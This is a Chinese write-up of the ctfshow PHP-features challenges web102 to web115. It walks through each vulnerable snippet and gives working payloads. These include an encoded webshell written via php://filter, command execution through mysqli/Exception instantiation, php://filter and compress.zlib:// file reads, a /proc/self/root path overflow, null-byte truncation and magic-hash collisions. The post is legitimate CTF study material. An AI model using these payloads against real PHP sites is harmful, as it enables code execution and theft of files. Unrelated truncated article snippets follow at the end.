ctfshow-php特性(web102-web115)
目录
web102
web103
web104
web105
web106
web107
web108
web109
web110
web111
web112
web113
web114
web115
实践是检验真理的 要多多尝试
web102
<?php highlight_file(__FILE__); $v1=$_POST['V1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v4=is_numeric($v2)and is_numeric($v3); if($v4){$s=substr($v2,2);#获取字符串从第二个字符开始的子串$str=call_user_func($v1,$s);#执行函数 $v1作为函数名 $s作为参数echo $str;#输出变量file_put_contents($v3,$str);#将数据写文件 } else{die('hacker'); }首先就是v2必须是全数字的 v3任意
获取v2的第二个字符开始的字串作为$str的值 也就是为了获得正确的payload最前方要填充两个无用字符 从而获得除了前两个无用字符后的有用字符
call_user_func($v1,$s) 可以理解为执行函数 $v1($s)
也就是说$v1($s) 输出的结果是我们要的payload
知识点
1 php5(php7.1一下)下is_numeric可识别16进制(如果0x开头 就会识别为十六进制字符串 从而绕过),如0x2e,然后调用hex2bin转成字符串写入任意木马
十六进制字符串转换二进制字符串也就是相当于
但是这道题环境用的是php7.0以上的环境所以就不能用0x开头从而绕过is_numeric函数 导致大多
为了能绕过is_numeric函数 目前构造一个很神奇的字符串
5044383959474e6864434171594473
十六进制转换字符串
PD89YGNhdCAqYDs
base64解码
<?=`cat *`;
因为开头不能使用0x所以 目前只有这一个字符串能满足要求 里面的e会被函数当成科学计数法从而绕过死亡函数
但是十六进制转换字符串需要用一个函数 base64解码又要用一个函数 但是题目只有一个函数位置
于是写文件的时候可以通过过滤器来对写的内容进行过滤php://filter/write=convert.base64-
decode/resource=2.php(该过滤器可以在文件操作函数中使用,起到过滤作用)变成了file_put_contents(php://filter/write=convert.base64-decode/resource=2.php,$str);简单解释 将数据$str利用过滤器进行base64解码写入文件2.php中
这样只需要十六进制转换字符串的函数就可以了
访问2.php文件
2 <?=`cat *`; cat * 是一个shell命令如果一个php文件中存在该内容 它会执行
cat *命令并将结果输出到页面上3 等号的优先级大于and
web103
<?php highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');} } else{die('hacker'); }?>过滤了payload中 php 且不区分大小写 这么一看对我们没影响
尝试一波发现确实没影响 上一道题其实不是那么做的 上一道题就是让你写任意的木马 但是环境配成7.1了 只能按照这道题的方式去做 就算上一题用的5.2版本且也使用者这个正则 写任意木马 也不影响 因为$str是base64编码后的字符串 匹配字符串中存在php的概率很小
web104
<?php highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;} } ?>sha1就是将字符串进行哈希加密使用SHA1的方式
第一种正常解 函数没有判断传参的两个值是否不相等
使v2v1值相等即可 他们的哈希加密值也相等
第二种解法
这道题和md5加密那道题一样 就i是换了一个函数
加密函数的参数必须传入字符串 否则函数返回值为false 传入从数组而实现false==false
第三种解法
大佬跑出来的
aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668在==比较的时候 对字符串形式的数值,PHP 会尝试将其转换为数值类型进行比较恰巧这个payload中除了e全是数字 成功转换为数值类型 0的任意次方还是等于0 所以0==0
web105
<?php highlight_file(__FILE__); include("flag.php"); error_reporting(0);#安全级别为0 不输出任何报错信息 $error="你还想要flag嘛";#如果有报错不输出报错语句而输出该语句 $suces="既然你想要就给你吧"; # 遍历变量中的键值对 对于http来说就是遍历传入的参数名以及参数值 foreach($_GET as $key=>$value){if($key==='error'){die("what are you doing");}$$key=$$value;#将变量value值作为变量名 } foreach($_POST as $key=>$value){if($key==='error'){die("what are you doing");}$$key=$$value; } if(!($_POST['flag']==$flag)){die($error);#输出 } echo "are you good".$flag."\n" die($suces);有个死亡函数 必须让post中的falg参数的值为flag 才能绕过死亡函数 这有点过分了 我要知道那还做啥题了哈哈
$$key=$$value; 很关键 先看GET参数
如果想要获取到flag $value=flag -----$$key=$flag
参数名随便来一个x $key=x -----$x=$flag
$$key=$$value; 再看POST参数
现在flag值已经存在于$x中了 使$value=x -----$$key=$x
到这我想了好久如何对POST参数进行赋值 他是将post参数遍历存入key中的 反赋值只靠-$$key代表$post['flag']不存在呀
从新审核一下代码 没必要绕过死亡函数 直接让die输出错误error即可
所有让$key=error --------$error=$x
第二种方法
?suces=flag&flag=
这个也比较好理解 先把flag值放入suces中 然后 让$flag=$ php会将$视为空字符串 从而$flag为空
因为post中没有flag参数 所有 post['flag']也为空
web106
和web104一个样 就是增加了v1!=v2
方法一
传数组 使得函数返回值为false
大佬方法
aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668
web107
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){$v1=$_POST['v1'];$v3=$_GET['v3'];parse_str($v1.$v2);if($v2['flag']==md5($v3)){echo $flag;} }首先我想到 $v2['flag']==md5($v3) 是不可能的 只能让md5返回值为false
在php中未定义的值被转换为布尔值时会被视为 false 所以无需定义v2中的flag即可 但是要注意 必须还要给v1随便传值 否则v2没被定义 就会出现报错等问题
第二种方法 弱类型比较 flag=0 让md5函数返回一个0e开头的即可 这样0=0
GET: ?v3=240610708 POST: v1=flag=0
web108
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {die('error');} //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){#经过反转再转换整形是否等于十六进制的0x36d 也就是877echo $flag; }?>intval函数本来想着将十六进制转换十进制可不可以 不可以 必须给定第二个参数intval($str, 16);
ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) 必须a-z开头 a-z结尾 如果没匹配上 执行语句块
为了让他不执行语句块 只能让他匹配上 a%00778 只能使用截断了 ereg函数就有这个漏洞 识别%00也就是空字符就不往下识别了 从而绕过了死亡函数
经过反转877空字符a 就转换为了877 所以最终能得到flag
知识点:
==弱比较 十进制877和十六进制0x36进行比较的时候 是相等的 因为php会将其中十六进制自动转换为十进制
web109
<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");} }#但是这道题没给类所以要使用内置类
#死记硬背 有个mysqli内置类 用于mysql连接的 需要传递很多参数用于连接数据库 如果这时传递一个函数作为参数 也会执行 比如phpinfo这个页面还在加载也就是还在连接数据库中 显然他肯定连接不上
既然能执行phpinfo 那肯定就能执行system('ls')
知识点system('ls')()()多几个括号不报错
知识点题外话 php可能有很多内置类 在phpinfo中是可以看到的
exception类也如此 这东西就是死记硬背简单理解就行 记住这个类实例化时传入函数可以被执行 前提是实例化的对象被echo输出
小知识 echo phpinfo() 会输出php信息 不使用echo也可以输出php信息
echo system('ipconfig'); 也是一个道理 不使用echo也是可以将结果输出到页面来
但是字符串必须要echo才能输出到页面来因为出发了tostring 有return的返回值 使用echo输出
这道题弄了将近两个点 很多很多基础知识都是很基础的
web110
<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){die("error v1");}if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){die("error v2");}eval("echo new $v1($v2());");}?>和上一道题同理 但是传参的时候禁用了很多字符 貌似没影响
尝试一下看看有什么影响
?v1=mysqli&v2=phpinfo 成功
?v1=mysqli&v2=system(ls) 不成功查看后发现禁用了()
看来条件很苛刻 看来只能使用正常的$v1($v2() 函数调用 只能使用内置类然后无参进行rce
rce远程命令执行
?v1=FilesystemIterator&v2=getcwd
DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类getcwd函数获取当前目录的路径返回一个字符串
web111
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php");function getFlag(&$v1,&$v2){eval("$$v1 = &$$v2;");var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){die("error v1");}if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){die("error v2");}if(preg_match('/ctfshow/', $v1)){getFlag($v1,$v2);} } ?>本来以为没什么难度 正常传值 ?v1=ctfshow&v2=falg 但是输出NULL也就是没有值 这是为什么呢
因为在方法外部进行的文件包含 在方法内部不能直接调用文件包含的文件中的变量的 不光是文件包含的变量 只要是方法外部的变量就不能在方法内使用 除非传参
那就使用全局变量$GLOBALS 将全局变量的所有值赋值给$ctfshow 然后进行输出
知识点 死记硬背即可
1 eval("$$v1 = &$$b;"); 可以
eval("$v1 = &$b;"); 不可以
ai说是eval函数的原因无法直接处理引用 但是对$$又有特殊规则
2 $GLOBALS 全局变量 是一个数组里面存着所有变量的名和值
web112
<?php highlight_file(__FILE__); error_reporting(0); function filter($file){if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){die("hacker!");}else{return $file;} } $file=$_GET['file']; if(! is_file($file)){highlight_file(filter($file)); }else{echo "hacker!"; }有一个判断 参数不能是个文件 这该如何绕过
直接用过滤器 过滤器不影响 伪协议不影响file_get_contents,和highlight_file。
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web113
和上一题同理就是不能使用filter php过滤器了
它试图打开并读取经过 zlib 压缩的
flag.php文件,并返回解压后的内容 不是压缩文件也可以 简单记住就是远程读取文件 是一个伪协议compress.zlib://flag.php 不影响file_get_contents,和highlight_file。<?php highlight_file(__FILE__); error_reporting(0); function filter($file){if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;} } $file=$_GET['file']; if(! is_file($file)){highlight_file(filter($file)); }else{echo "hacker!"; } <?php
预期解就是目录溢出
预期解payload:file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,显示的内容是根目录下的内容
原理:利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了知识点 highlight_file 不能高亮显示数组
web114
<?php error_reporting(0); highlight_file(__FILE__); function filter($file){if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;} } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){highlight_file(filter($file)); }else{echo "hacker!"; }无法使用目录溢出 禁用了root
无法使用读取压缩文件的伪协议compress.zlib://flag.php
但是发现他并没有禁用filter过滤器 php://filter/resource=flag.php
web115
<?php include("flag.php"); highlight_file(__FILE__); error_reporting(0); function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num; } $num=$_GET['num']; # 必须是数字或者数字字符串 不能完全等于字符36 函数返回值等于字符36 if(is_numeric($num)and $num!=='36'and trim($num)!=='36'and filter($num)=='36'){if($num=='36'){echo $flag;}else{echo "hacker";} } else{echo"hacker"; }%0c36
is_numeric($num) ‘ 36’ 在数字前加空格 也会认为是数字字符串
$num!=='36' 不完全等于‘36’ 因为有个tab
trim($num)!=='36' 去空格 但是不去除%0c
filter($num)=='36' ‘36’与‘ 36’ 进行弱类型比较是相等的
知识点
\t 的意思是 :水平制表符。将当前位置移到下一个tab位置。%09
\r 的意思是: 回车。将当前位置移到本行的开头。%0D
\n 的意思是:回车换行。将当前位置移到下一行的开头。%0A
\f的意思是:换页。将当前位置移到下一页的开头。%0C
\0的意思是:空字符 %00
\v的意思是:垂直制表符 和制表符差不多意思%0B
空格是%20
相关文章:
ctfshow-php特性(web102-web115)
目录 web102 web103 web104 web105 web106 web107 web108 web109 web110 web111 web112 web113 web114 web115 实践是检验真理的 要多多尝试 web102 <?php highlight_file(__FILE__); $v1$_POST[V1]; $v2$_GET[v2]; $v3$_GET[v3]; $v4is_numeric($v2)and is…...
python系统学习Day1
section1 python introduction 文中tips只做拓展,可跳过。 PartOne introduction 首先要对于python这门语言有一个宏观的认识,包括特点和应用场景。 特点分析: 优势 提供了完善的基础代码库,许多功能不必从零编写简单优雅 劣势 运…...
Idea里自定义封装数据警告解决 Spring Boot Configuration Annotation Processor not configured
我们自定对象封装指定数据,封装类上面一个红色警告,虽然不影响我们的执行,但是有强迫症看着不舒服, 去除方式: 在pom文件加上坐标刷新 <dependency><groupId>org.springframework.boot</groupId><…...
【流程图——讲解】
流程图介绍 流程图介绍 流程图介绍 流程图是一种图表,它展示了工作流程或过程中的步骤顺序,它通常由不同的符号表示,每个符号都代表一个步骤或过程中的一个元素,流程图非常有用,因为它们可以提供清晰、视觉化的过程表…...
「计算机网络」物理层
物理层的基本概念 物理层的作用:尽可能屏蔽掉不同传输媒体和通信手段的差异物理层规程:用于物理层的协议主要任务:确定与传输媒体的接口有关的一些特性 机械特性电器特性功能特性过程特性 数据通信的基础知识 数据通信系统的模型 划分为…...
ARM与X86架构的区别与联系
文章目录 1.什么是CPU2.复杂指令集和精简指令集3.ARM架构与X86架构的比较3.1.制造工艺3.2 64位计算3.3 异构计算3.4 功耗 4.ARM和X86的发展现状Reference 1.什么是CPU 中央处理单元(CPU)主要由运算器、控制器、寄存器三部分组成,从字面意思看…...
蓝桥杯每日一题------背包问题(二)
前言 本次讲解背包问题的一些延申问题,新的知识点主要涉及到二进制优化,单调队列优化DP,树形DP等。 多重背包 原始做法 多重背包的题意处在01背包和完全背包之间,因为对于每一个物品它规定了可选的个数,那么可以考虑…...
牛客错题整理——C语言(实时更新)
1.以下程序的运行结果是() #include <stdio.h> int main() { int sum, pad,pAd; sum pad 5; pAd sum, pAd, pad; printf("%d\n",pAd); }答案为7 由于赋值运算符的优先级高于逗号表达式,因此pAd sum, pAd, pad;等价于(…...
CIFAR-10数据集详析:使用卷积神经网络训练图像分类模型
1.数据集介绍 CIFAR-10 数据集由 10 个类的 60000 张 32x32 彩色图像组成,每类 6000 张图像。有 50000 张训练图像和 10000 张测试图像。 数据集分为5个训练批次和1个测试批次,每个批次有10000张图像。测试批次正好包含从每个类中随机选择的 1000 张图像…...
《傲剑狂刀》中的人物性格——龙吟风
在《傲剑狂刀》这款经典武侠题材的格斗游戏中,龙吟风作为一位具有传奇色彩的角色,其性格特征复杂且引人入胜。以下是对龙吟风这一角色的性格特点进行深度剖析: 一、孤高独立的剑客气质 龙吟风的名字本身就流露出一种独特的江湖气息,"吟风"象征着他的飘逸与淡泊名…...
KVM和JVM的虚拟化技术有何区别?
随着虚拟化技术的不断发展,KVM和JVM已成为两种主流的虚拟化技术。尽管它们都提供了虚拟化的解决方案,但它们在实现方式、功能和性能方面存在一些重要的差异。本文将深入探讨KVM和JVM的虚拟化技术之间的区别。 KVM(Kernel-based Virtual Mac…...
LeetCode力扣 面试经典150题 详细题解 (1~5) 持续更新中
目录 1.合并两个有序数组 2.移动元素 3.删除有序数组中的重复项 4.删除排序数组中的重复项 II 5.多数元素 暂时更新到这里,博主会持续更新的 1.合并两个有序数组 题目(难度:简单): 给你两个按 非递减顺序 排列的…...
如何解决利用cron定时任务自动更新SSL证书后Nginx重启问题
利用cron定时任务自动更新SSL证书后,用浏览器访问网站,获取到的证书仍然是之前的。原因在于没有对Nginx进行重启。 据说certbot更新完成证书后会自动重启Nginx,但显然经我检测不是这回事儿。 所以我们需要创建一bash脚本,然后定时调用这个脚…...
第一个 Angular 项目 - 静态页面
第一个 Angular 项目 - 静态页面 之前的笔记: [Angular 基础] - Angular 渲染过程 & 组件的创建 [Angular 基础] - 数据绑定(databinding) [Angular 基础] - 指令(directives) 这是在学完了上面这三个内容后能够完成的项目,目前因为还没有学到数…...
网络协议与攻击模拟_17HTTPS 协议
HTTPShttpssl/tls 1、加密算法 2、PKI(公钥基础设施) 3、证书 4、部署HTTPS服务器 部署CA证书服务器 5、分析HTTPS流量 分析TLS的交互过程 一、HTTPS协议 在http的通道上增加了安全性,传输过程通过加密和身份认证来确保传输安全性 1、TLS …...
【linux系统体验】-ubuntu简易折腾
ubuntu 一、终端美化二、桌面美化2.1 插件安装2.2 主题和图标2.3 美化配置 三、常用命令 以后看不看不重要,咱就是想记点儿东西。一、终端美化 安装oh my posh,参考链接:Linux 终端美化 1、安装字体 oh my posh美化工具可以使用合适的字体&a…...
Android 判断通知是进度条通知
1.需求: 应用监听安卓系统中的通知,需要区分出带进度条的通知. 当使用NotificationCompat.Builder构建一个通知时,可以通过调用setProgress(max, progress, indeterminate)方法来添加一个进度条。这里的max参数表示最大进度值,progress表示当前进度值&a…...
学习数据结构和算法的第8天
顺序表的实现 顺序表 本质就是数组 概念及结构 顺序表是用一段物理地址连续的储存单元依次储存数据元素的线性结构,一般情况下采用数组储存,在数组上完成数据的增删。 顺序表就是数组,但是在数组的基础上,它还要求数据…...
JCIM | MD揭示PTP1B磷酸酶激活RtcB连接酶的机制
Background 内质网应激反应(UPR) 中的一个重要过程。UPR是由内质网中的三种跨膜传感器(IRE1、PERK和ATF6)控制的细胞应激反应,当内质网中的蛋白质折叠能力受到压力时,UPR通过减少蛋白质合成和增加未折叠或错…...
基于Java (spring-boot)的音乐管理系统
一、项目介绍 播放器的前端: 1.首页:点击歌单中的音乐播放列表中的歌曲进行播放,播放时跳转播放界面,并显示歌手信息,同时会匹配歌词,把相应的歌词显示在歌词面板中。 2.暂停:当歌曲正在播放时…...
AI-调查研究-01-正念冥想有用吗?对健康的影响及科学指南
点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...
C++实现分布式网络通信框架RPC(3)--rpc调用端
目录 一、前言 二、UserServiceRpc_Stub 三、 CallMethod方法的重写 头文件 实现 四、rpc调用端的调用 实现 五、 google::protobuf::RpcController *controller 头文件 实现 六、总结 一、前言 在前边的文章中,我们已经大致实现了rpc服务端的各项功能代…...
【JavaEE】-- HTTP
1. HTTP是什么? HTTP(全称为"超文本传输协议")是一种应用非常广泛的应用层协议,HTTP是基于TCP协议的一种应用层协议。 应用层协议:是计算机网络协议栈中最高层的协议,它定义了运行在不同主机上…...
IGP(Interior Gateway Protocol,内部网关协议)
IGP(Interior Gateway Protocol,内部网关协议) 是一种用于在一个自治系统(AS)内部传递路由信息的路由协议,主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...
Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...
HDFS分布式存储 zookeeper
hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架,允许使用简单的变成模型跨计算机对大型集群进行分布式处理(1.海量的数据存储 2.海量数据的计算)Hadoop核心组件 hdfs(分布式文件存储系统)&a…...
PHP 8.5 即将发布:管道操作符、强力调试
前不久,PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5!作为 PHP 语言的又一次重要迭代,PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是,借助强大的本地开发环境 ServBay&am…...
深度学习之模型压缩三驾马车:模型剪枝、模型量化、知识蒸馏
一、引言 在深度学习中,我们训练出的神经网络往往非常庞大(比如像 ResNet、YOLOv8、Vision Transformer),虽然精度很高,但“太重”了,运行起来很慢,占用内存大,不适合部署到手机、摄…...
在golang中如何将已安装的依赖降级处理,比如:将 go-ansible/v2@v2.2.0 更换为 go-ansible/@v1.1.7
在 Go 项目中降级 go-ansible 从 v2.2.0 到 v1.1.7 具体步骤: 第一步: 修改 go.mod 文件 // 原 v2 版本声明 require github.com/apenella/go-ansible/v2 v2.2.0 替换为: // 改为 v…...
Java多线程实现之Runnable接口深度解析
Java多线程实现之Runnable接口深度解析 一、Runnable接口概述1.1 接口定义1.2 与Thread类的关系1.3 使用Runnable接口的优势 二、Runnable接口的基本实现方式2.1 传统方式实现Runnable接口2.2 使用匿名内部类实现Runnable接口2.3 使用Lambda表达式实现Runnable接口 三、Runnabl…...



















